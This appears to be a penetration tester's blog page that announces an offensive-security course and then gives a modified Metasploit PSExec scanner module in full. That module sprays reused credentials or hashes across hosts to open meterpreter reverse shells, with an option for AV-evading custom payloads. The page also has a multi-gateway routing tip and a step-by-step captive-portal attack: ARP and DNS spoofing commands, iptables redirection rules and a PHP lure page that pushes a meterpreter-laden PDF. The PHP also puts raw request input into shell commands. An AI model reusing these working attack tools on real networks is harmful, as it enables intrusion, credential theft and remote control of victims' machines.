Offensive IT Security Tactics: Course Description

I’ll be teaching a special topics course this fall for the University of Richmond School of Professional & Continuing Studies (SPCS). I’ll update this post once I have the info on how to find/register for the course (it will be wed nights starting in august-dec 2015). I figured I’d just get the info out by providing the course description.

 

ISYS 398U Offensive IT Security Tactics

This course provides analysts and managers with the competencies necessary to manage and implement offensive IT security programs, through actual use of techniques and tactics used to simulate threat agent activity.  The use of these methodologies to ethically test the efficacy of enterprise security systems and controls is discussed. Penetration testing, adversarial threat simulation, social engineering and IT security assessment topics are explored in detail. The course includes practical exercises culled from real world security assessments.

 

Advertisement

Use EXE::Custom with psexec scanner

Last year DarkOperator(Carlos Perez) released an awesome auxiliary module for the Metasploit Framework: the PSExec Scanner Auxiliary Module. This module allows you to use a set of credentials (or hashes) to run the psexec Metasploit module against a list of hosts. A very handy trick when you have a shared local admin account and want to get shells on a bunch of machines where those admin credentials work.

I simply added a few lines to his script that adds the EXE::Custom option, which allows you to specify a custom binary to use as a payload rather than have the psexec module create one on the fly. This is useful if you like to use a custom executable that already bypasses AV, since the stock Metasploit payloads often get caught by AV’s. You set the EXE::Custom option like you would any other option is msf, e.g. “set EXE::Custom /tmp/samba/revshell.exe”.

Be forewarned: Using the custom binary can take a little while longer to pop the box than when you run the module with the default options.

Below is the original script with my edits/additions highlighted. You can download the edited script here

##
# $Id$
##

##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
#Slightly modified by pipefish to add the EXE::Custom option

require 'msf/core'
require 'rex'



class Metasploit3  'Auxiliary PSExec Scanner',
				'Description'   => %q{
					PSExec scanner module that will run a psexec attack against a range of hosts
					using either a set of credentials provided or the credential saved in the
					current workspace database.
				},
				'License'       => MSF_LICENSE,
				'Author'        => [ 'Carlos Perez '],
				'Version'       => '$Revision$'
			))
		register_options(
			[
				OptString.new('SMBUser', [false, 'SMB Username', nil]),
				OptString.new('SMBPass', [false, 'SMB Password', nil]),
				OptString.new('SMBDomain', [true, "SMB Domain", 'WORKGROUP']),
				OptString.new('SHARE',     [ true,
						"The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ]),
				OptString.new('RHOSTS', [true, 'Range of hosts to scan.', nil]),
				OptInt.new('LPORT', [true, 'Local Port for payload to connect.', nil]),
				OptString.new('LHOST', [true, 'Local Hosts for payload to connect.', nil]),
				OptString.new('PAYLOAD', [true, 'Payload to use against Windows host',
						"windows/meterpreter/reverse_tcp"]),
				OptEnum.new('TYPE', [false, 
						'Type of credentials to use, manual for provided one, db for those found on the database',
						'manual', ['db','manual']]),
				OptString.new('OPTIONS',
				[false, "Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.",
					""]),
				OptString.new('EXE::Custom', [false, 'Use custom exe instead of automatically generating a payload exe', nil]),
				OptBool.new('HANDLER',
					[ false, 'Start an Exploit Multi Handler to receive the connection', true]),
			], self.class)
		# no need for it
		deregister_options('RPORT')
		
	end
	def setup()
		# Set variables
		pay_name = datastore['PAYLOAD']
		lhost    = datastore['LHOST']
		lport    = datastore['LPORT']
		opts     = datastore['OPTIONS']
		

		if datastore['TYPE'] == "db"
			print_status("Using the credentials found in the workspace database")
			collect_hashes()
		else
			print_status("Using the username and password provided")
		end
		@pay = create_payload(pay_name,lhost,lport,opts)
		create_multihand(pay_name,lhost,lport) if datastore['HANDLER']
	end

	# Run Method for when run command is issued
	def run_host(ip)
		if check_port(ip)
			if datastore['TYPE'] == "manual"
				if not datastore['SMBUser'].nil? and not datastore['SMBPass'].nil?
					user = datastore['SMBUser']
					pass = datastore['SMBPass']
					dom = datastore['SMBDomain']
					payload = datastore['PAYLOAD']
					custexe = datastore['EXE::Custom']
					print_status("Trying #{user}:#{pass}")
					psexec(ip,user,pass,dom,payload,custexe)
					return
				end
			else
				@creds.each do |c|
					user,pass = c.split(" ")
					dom = datastore['SMBDomain']
					payload = datastore['PAYLOAD']
					custexe = datastore['EXE::Custom']
					print_status("Trying #{user}:#{pass}")
					psexec(ip,user,pass,dom,payload,custexe)
				end
			end
		else
			return
		end
	end
	
	## Run psexec on a given IP
	def psexec(ip,user,pass,dom,payload,custexe)
		psexec = framework.modules.create("exploit/windows/smb/psexec")
		psexec.share_datastore(@pay.datastore)
		psexec.datastore['PAYLOAD'] = payload
		psexec.datastore['MODULE_OWNER'] = self.owner
		psexec.datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"]
		psexec.datastore['RHOST'] = ip
		psexec.datastore['SMBUser'] = user
		psexec.datastore['SMBPass'] = pass
		psexec.datastore['SMBDomain'] = dom
		if not datastore['EXE::Custom'].nil?
			psexec.datastore['EXE::Custom'] = custexe
		end
		psexec.datastore['SHARE'] = datastore['SHARE']
		psexec.datastore['RPORT'] = 445
		psexec.datastore['ExitOnSession'] = false
		psexec.datastore['DisablePayloadHandler'] = false
		psexec.datastore['EXITFUNC'] = 'process'
		psexec.datastore['VERBOSE'] = true
		psexec.datastore['DisablePayloadHandler'] = true
		psexec.datastore['ForceBlocking'] = true
		psexec.options.validate(psexec.datastore)
		psexec.exploit_simple(
			'LocalInput'	=> self.user_input,
			'LocalOutput'	=> self.user_output,
			'Payload'	=> payload,
			'Target'	=> 0,
			'ForceBlocking'	=> true,
			'RunAsJob'	=> false)
		Rex::ThreadSafe.sleep(4)
	end

	def check_port(ip)
		status = false
		timeout = 1000
		port = 445
		begin
			s = connect(false,
				{
					'RPORT' => 445,
					'RHOST' => ip,
					'ConnectTimeout' => (timeout / 1000.0)
				}
			)
			print_status("#{ip}:#{port} - TCP OPEN")
			status = true
		rescue ::Rex::ConnectionRefused
			vprint_status("#{ip}:#{port} - TCP closed")
		rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error
		rescue ::Interrupt
			raise $!
		rescue ::Exception => e
			print_error("#{ip}:#{port} exception #{e.class} #{e} #{e.backtrace}")
		ensure
			disconnect(s) rescue nil
		end
		return status
	end

	def collect_hashes
		type = "smb_hash|password"
		@creds = []
		print_status("Collecting Hashes from the DB")
		framework.db.workspace.creds.each do |cred|
			if cred.active and cred.ptype =~ /#{type}/ and cred.user !~ /(SUPPORT|HelpAssistant|TsInternetUser|IWAM|Guest)/
				@creds < mul.datastore['PAYLOAD'],
					'LocalInput'  => self.user_input,
					'LocalOutput' => self.user_output,
					'RunAsJob'    => true
				)
		else
			print_error("Could not start handler!")
		end
	end

end

Remote Pentest Setup – Multiple Default Gateways

Sometimes I’ll have an internal security assessment lined up and the client is amenable to having a remote testing device sent to them.  The goal being to be able to perform an internal penetration testsecurity assessment without having to physically be there.  This setup is win-win in my opinion: cuts down on travel costs which is good for everyone.  If you think about it, you don’t really need to be there, you just have to get access to the network.  You can even perform wifi pen testing, as long as your remote setup is near an AP.

I like to have a dedicated interface for ONLY remote access (sshnx serverfreenx or openvpn reverse back to me), when I’m doing 100% remote assessments.  Then I have a second interface for attackingscanning etc.  If wireless is in scope I’ll have my third interface (wlan obviously).

When I first started setting the remote machines up I experimented quite a bit.  I found that the setup was “flaky” if you simply assigned IP’s to the interfaces and hoped it worked.  I messed around with trying to manually set multiple default gateways, but that didn’t work very well.  I also found that a lot of tools (even the ones that allow you to choose an interface) will not sendreceive ALL traffic over the one you specify.

The solution that I chose was using IP ROUTE and IP RULE to ensure that any traffic sent to or from an interfaceIP would use the default gateway that i assigned it.

Example:

eth0 will be DHCP – It’s the interface the client can plug into their internal network.  You’ll get an IP from DHCP (with the default gateway).

eth1 will be statically set, and will be for your remote access (either reverse of bind).

First we need to create a special routing table:

 echo "1 pentest" >> /etc/iproute2/rt_tables 

Next, we set the routes:

ip route add 10.1.1.0/24 dev eth1 src 10.1.1.2 table pentest

ip route add default via 10.1.1.1 dev eth1 table pentest

Notice above we added the information to populate the “pentest” routing table.  It has a route and a default gateway now.

Below we set the rules to send all the traffic to and from an IP address to the pentest routing table.

ip rule add from 10.1.1.2/32 table pentest

ip rule add to 10.1.1.2/32 table pentest

Now, no matter what happens to eth0 your remote access interface is solid.  You can do the same thing for a wlan interface as well.  Simply create a second routing table and add the routes and rules.

I pulled most of this technique from this site.  Works like a champ for my purposes!

Captive Audience: Using iptables and php as a home grown captive portal during penetration tests

This, like all penetration testing methods or discussions should be used for educationalprofessional purposes only. The purpose of this post is to show an interesting client based attack method that can be used in penetration testing. Abusing networks or computers that you do not have permission to be messing with is not smart and can get you into a lot of trouble.

The idea of a captive portal is not new. Anytime you’ve gone to a hotel or local coffee shop and seen the terms of service for using their free Wifi you’ve had your web traffic redirected to a page of the establishment’s choosing and been forced to view said page. When I put it like that doesn’t it sound nasty? And, in the world of pen testing, where browserclient side exploits are a shoe in into networks doesn’t the idea of a captive portal sound like an amazing tool? I hesitate to say this will work 100% of the time, because there are absolutely no absolutes. And while I never exaggerate (never in a million years!) I feel justified in saying this should work most of the time. For me, this attack vector has worked 100% of the time. Some of the scenarios where I’ve used the below method are wireless security testing, or internal penetration tests (or as a parlor trickimpromptu security training session).

What follows is a not so brief tutorial demonstrating how to setup a captive portal for the purpose of obtaining remote access to a target computer.

Summary of attacks used: ARP spoofing MITM, DNS spoofing, traffic redirection, malicious pdf file.

The gist of the attack is this: you’re on a LAN. You play man in the middle and force ALL of the target’s web traffic to view your page first before you pass it on to the intended destination. The target (be it a single host or an entire broadcast domain) is forced to view a page you choose. This could be used to supply browser exploits, steal credentials, or drop payloads on to the victim. NOTE: if you do attempt this against an entire subnet you better have one heckuva laptop with several NICs or you will DOS the network.

There are a lot of open source distros that are bundled captive portals, but I found this method to be the most customizable, and it suited my needs. I used the following site heavily as a reference when I started working on this attack a few months ago, and customized as I saw fit.

I’ll describe a scenario where a user is sent to a web page and has to open a malicious PDF and input a code from said PDF before they can continue browsing.

Let’s begin. I primarily use Backtrack (used BT4 R2 for this instance) when performing security duties, but I have also gotten very friendly with CentOS or the latest Ubuntu release. Most of the instructions below were developed while using Backtrack (some of the commands and dependencies are different for the different distros, but the gist is the same).

BT4 R2 comes with an older version of iptables. We will be marking packets and for this to work you need to download the latest source for iptables (version 1.4.10).

Remove the current installation: [bash]apt-get remove iptables[/bash]

Extract the contents of iptables-1.4.10.tar.bz2: [bash]tar –xvf iptables-1.4.10.tar.bz2[/bash]

Enter the newly extracted directory and use the make method to compile iptables from source.

./configure
make
make install

Check your work by issuing the

 iptables

command. You should see version info. Success reads iptables v1.4.10. Sometimes I’ve had to close the Konsole window and open a new one to see the new iptables version, don’t know why.

Now lets setup some of the other things in the environment you’ll need. First is conntrack.

apt-get install conntrack

Next we need to create an empty text file called users.

echo blah >/var/lib/users

Now we need to change the owner for the file to be www-data.

chown www-data /var/lib/users

You’ll see later what this file is used for. I don’t use it too much but like to have it because A). it doesn’t hurt anything and B). it does give you some information, and the more information about a target the better!

Next setup the rmtrack script. This script’s purpose is to remove connection data so that the target gets forwarded to the legit site. I again need to give the credit to this blog because it provided so many good examples and code snippets.

 /usr/sbin/conntrack -L 
    |grep $1 
    |grep ESTAB 
    |grep 'dport=80' 
    |awk 
        "{ system("conntrack -D --orig-src $1 --orig-dst " 
            substr($6,5) " -p tcp --orig-port-src " substr($7,7) " 
            --orig-port-dst 80"); }"

You’ll notice this only deals with HTTP traffic. Don’t worry about that for now, I’ll get more into that later.

Don’t forget to make /usr/bin/rmtrack executable

chmod +x /usr/bin/rmtrack

We need to setup sudoers so the apache account has permissions to run some commands. Use the

visudo

command and add the following entries to your sudoers file:

 www-data ALL = NOPASSWD: /sbin/iptables -I internet 1 -t nat -m mac --mac-source ??:??:??:??:??:?? -j RETURN
www-data ALL = NOPASSWD: /sbin/iptables -D internet -t nat -m mac --mac-source ??:??:??:??:??:?? -j RETURN
www-data ALL = NOPASSWD: /usr/bin/rmtrack [0-9]*.[0-9]*.[0-9]*.[0-9]*

Now on to the iptable rules:

You can copy and paste this into a script for ease of use. Just remember that you should clear all the iptables rules before making any new changes and reapplying them. I usually make two scripts, one with the iptables rules and one to clear them. I left some of the original iptables script comments but I’ll also go in to more detail further down. Be sure to change the two IP addresses below to your victim IP (or subnet) and your attacker IP.

Here are the rules:

 IPTABLES=/usr/local/sbin/iptables

# Create internet chain and add allow rules

# This is used to authenticate users who have already signed up

$IPTABLES -A FORWARD -s VICTIM IP -p udp -m udp --dport 53 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

$IPTABLES -A INPUT -p udp -m udp --sport 53 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

$IPTABLES -N internet -t nat

# First send all traffic via newly created internet chain

# At the prerouting NAT stage this will DNAT them to the local

# webserver for them to signup if they aren't authorized

# Packets for unauthorized users are marked for dropping later

$IPTABLES -t nat -A PREROUTING -j internet

###### INTERNET CHAIN ##########

# Allow authorized clients in, redirect all others to login webserver

# Add known users to the NAT table to stop their dest being rewritten

# Ignore MAC address with a * - these users are blocked

# This awk script goes through the /var/lib/users flat file line by line

#awk 'BEGIN { FS="t"; } { system("$IPTABLES -t nat -A internet -m mac --mac-source "$4" -j RETURN"); }' /var/lib/users

# MAC address not found. Mark the packet 99

$IPTABLES -t nat -A internet -j MARK --set-mark 99

# Redirects web requests from Unauthorized users to logon Web Page

$IPTABLES -t nat -A internet -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination ATTCKER IP

################################

# Now that we've got to the forward filter, drop all packets

# marked 99 - these are unknown users. We can't drop them earlier

# as there's no filter table

$IPTABLES -t filter -A FORWARD -m mark --mark 99 -j DROP

We’re going to be using DNS spoofing so the URL’s in the address bar don’t arouse suspicion. We need to allow DNS queries to egress, as well as allow traffic to port 53 on our own box which will return bogus responses, which is what the first two iptabels rules does.

Then we create a new chain called “internet”. The rest of the rules are spelled out in the above comments.

Basically what will happen here is your targets traffic will pass through your machine, like your machine is the router. The iptables rules will deny all traffic (except DNS queries) and forward all HTTP traffic to your own attacking box, where you serve up your PHP page.

A quick note on the /var/lib/users file. This will keep a persistent list of folks who “Register” with your captive portal. After the attack completes their MAC (among other things) is noted in this file. When you run the iptables script the awk statement will grab these users and allow them through without having to hit your page again. It’s optional. If you omit the file tho you’ll need to kill it’s reference in the php page.

Now to the PHP file. The basics are your PHP file will handle the URL header rewriting, as well as forwarding the target to their originally requested site after they’ve opened your malicious PDF.

Remember you can’t have HTML code within PHP tags so you need to start and end them appropriately within the page. There’s some dummy html in the below PHP file which is a simple form asking for a code. Once they input the proper code into the text box and hit submit their mac address will be added to an iptables rule that will allow them Internet access, and the php header operation will forward them to the site they requested originally. The php if statement is waiting for an expected value to be supplied to the code variable; that value is sitting in the PDF file you created (with metasploit). You can set it to whatever you’d like, just change the php code. Be sure to name this file index.php in the /var/www directory. Delete index.html. and I suppose you should probably start apache too…

Change the variable at the top to whatever you want (you’ll be spoofing the DNS for this address, that will be the URL they see in their browser address bar). Also you can change the expected value for the code variable to whatever you want.

Don’t forget about starting your webserver.

start-apache

Index.php file:

<?php

$server_name = "www";
$domain_name = "fakename.com";
$site_name = "Fake Site Name:";

// Path to the arp command on the local server
$arp = "/usr/sbin/arp";

// The following file is used to keep track of users
$users = "/var/lib/users";

// Check if we've been redirected by firewall to here.
// If so redirect to registration address
if ($_SERVER['SERVER_NAME']!="$server_name.$domain_name") {
  header("location:http://$server_name.$domain_name/index.php?add="
    .urlencode($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']));
  exit;
}

// Attempt to get the client's mac address
$mac = shell_exec("$arp -a ".$_SERVER['REMOTE_ADDR']);
preg_match('/..:..:..:..:..:../',$mac , $matches);
@$mac = $matches[0];
if (!isset($mac)) { exit; }

$code = $_POST['code'];

if ($code!="1234") {
  // code doesn’t equal expected value, so display form
  ?>
  <h1>Welcome to <?php echo $site_name;?></h1>
  To access the Internet you must first enter code from pdf below:<br><br>
  <a href="./fake.pdf">PDF File Here</a>
  <form method='POST'>
  <table border=0 cellpadding=5 cellspacing=0>
  <tr><td>Your email address:</td><td><input type='text' name='code'></td></tr>
  <tr><td></td><td><input type='submit' name='submit' value='Submit'></td></tr>
  </table>
  </form>

  <?php
} else {
    enable_address();
}

// This function enables the PC on the system by calling iptables, and also saving the
// details in the users file for next time the firewall is reset

function enable_address() {

    global $name;
    global $email;
    global $mac;
    global $users;

    file_put_contents($users,$_POST['name']."t".$_POST['email']."t"
        .$_SERVER['REMOTE_ADDR']."t$mact".date("d.m.Y")."n",FILE_APPEND + LOCK_EX);
   
    // Add PC to the firewall
    exec("sudo iptables -I internet 1 -t nat -m mac --mac-source $mac -j RETURN");
    // The following line removes connection tracking for the PC
    // This clears any previous (incorrect) route info for the redirection
    exec("sudo rmtrack ".$_SERVER['REMOTE_ADDR']);

    sleep(1);
    header("location:http://".$_GET['add']);
    exit;
}

// Function to print page header
function print_header() {

  ?>
  <html>
  <head><title><?php echo $site_name;?></title>
  <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
  <LINK rel="stylesheet" type="text/css" href="./style.css">
  </head>

  <body bgcolor=#FFFFFF text=000000>
  <?php
}

// Function to print page footer
function print_footer() {
  echo "</body>";
  echo "</html>";

}

?>

You can get creative with the HTML portion of the php page. Get a convincing page setup (wget magic!) and inform your user they need to view some agreement or accept some terms before they can continue using the web. The purpose of the having them enter a code is that the user will have no recourse but to open your malicious pdf and get the code to continue browsing. Once they do you can have your malcode execute. After they put in the code they keep browsing none the wiser. You could just have a page that has an iframe that redirects to a browser exploit, or have a form setup to gather user data. During pen tests tho this is a stark reminder to your clients how dangerous an attacker on the LAN is. This is especially useful with businesses who have a guest wireless network. Most of this attack is mitigated by using static ARP tables or something like arpwatch on the gateway. While they don’t care so much about their customers’ data security, it can be a real eye opener. Also, a lot of companies use wireless and while most (some still do though) don’t use the ancient WEP for security, a lot still employ WPA2 PSK rather than the enterprise flavor using PKI. If the WPA2 passphrase is not complex then it’s just as easy to get into as WEP!

Recently I demonstrated this attack on a hospital guest wireless network. I also explained the ease of mitigating (at least the MITM portion) to the network admin staff and the next week the hospital had enabled some anti-arp spoofing features that had already existed in their wireless infrastructure, they had just never turned them on!

A note on 443: Without presenting ugly certificate errors and going through the hassle of setting up SSL on your apache server, HTTPS is simply denied by the iptables rules. Any HTTP site is redirected to your page, any HTTPS browsing is simply timed out.

Coming down the home stretch, now its just the MITM and DNS spoofing attack.

I had originally done this step with ettercap, since it had the nice DNS spoofing switch and I was familiar with it. However, ettercap uses it’s own means of forwarding IP packets, and does not leave it to the kernel. This means all HTTPS traffic bypasses our iptables rules and is allowed. The reason it bypasses SSL traffic is I don’t enable the ettercap SSL dissection. I don’t use ettercap all the time for MITM since it’s SSL packet dissection method requires the user to accept a bogus SSL certificate. I don’t like that, not that most users won’t do it, but because some won’t know how. I don’t want them to just get confused and close the browser. I make it easy for them to get popped!

As an alternative I used dsniff’s arpsoof and dnsspoof to get the desired results.

First enable forwarding in the kernel

echo 1 > /proc/sys/net/ipv4/ip_forward

Next kick off arpsoof towards the target and also the gateway.
You need to issue two arpspoof commands

The first:

arpspoof –i interface_name –t victim_ip gateway_ip >>/dev/null 2>&1 &

poisons the targets arp cache and sends all of the targets traffic to you.

Next you need to do the same thing to the gateway so you get the responses

arpspoof –i interface-name –t gateway _ip victim_IP >>/dev/null 2>&1 &

Since stderr is being piped to stdout and stdout is sent to /dev/null you’ll need to kill the arpspoof pids when you’re done to stop arp spoofing.

As the icing on the cake we’ll setup DNS spoofing so the URL in the victim’s address bar isn’t a local address.

Setup a text file in hosts format

192.168.x.x www.fakename.com

Set the name to be the website name you used in the PHP file (those first variables you set: $server_name and $domain_name)

In another Konsole tab issue the dnsspoof command

 dnsspoof –i interface_name –f host_file_you_created_above

You can use whatever kind of sneaky payload you want, it’s just easy to use MSF to bind a meterpreter exe into a pdf (be sure to edit the “<a href” appropriately in your PHP file). Once that’s in your web root directory just wait.

Once a user who is being targeted by arpspoof tries to browse they will either be redirected to your bogus page, or if it’s an SSL site they’re trying to open they’re request will timeout (and they will hopefully attempt to browse to an HTTP page). I have yet to see a user who got suspicious and contacted anyone (it admin, or establishment staff), but simply opened the pdf, got the code and went along their merry way.

I’ve spoken to some of the mitigations of this attack above, but here’s a few more: some client security suites can recognize arpdns spoofing and prevent it, and can also disallow untrusted applications from creating sockets from the client without permission. Another means of mitigating this risk is user awareness training; explaining that users should be wary when hitting captive portals, (especially on a LAN they’ve used for sometime without seeing one and now they see one all of a sudden).

There you have it. There are many steps to this, and they all must be performed properly or the whole thing won’t work! Get out there and make the world a safer place!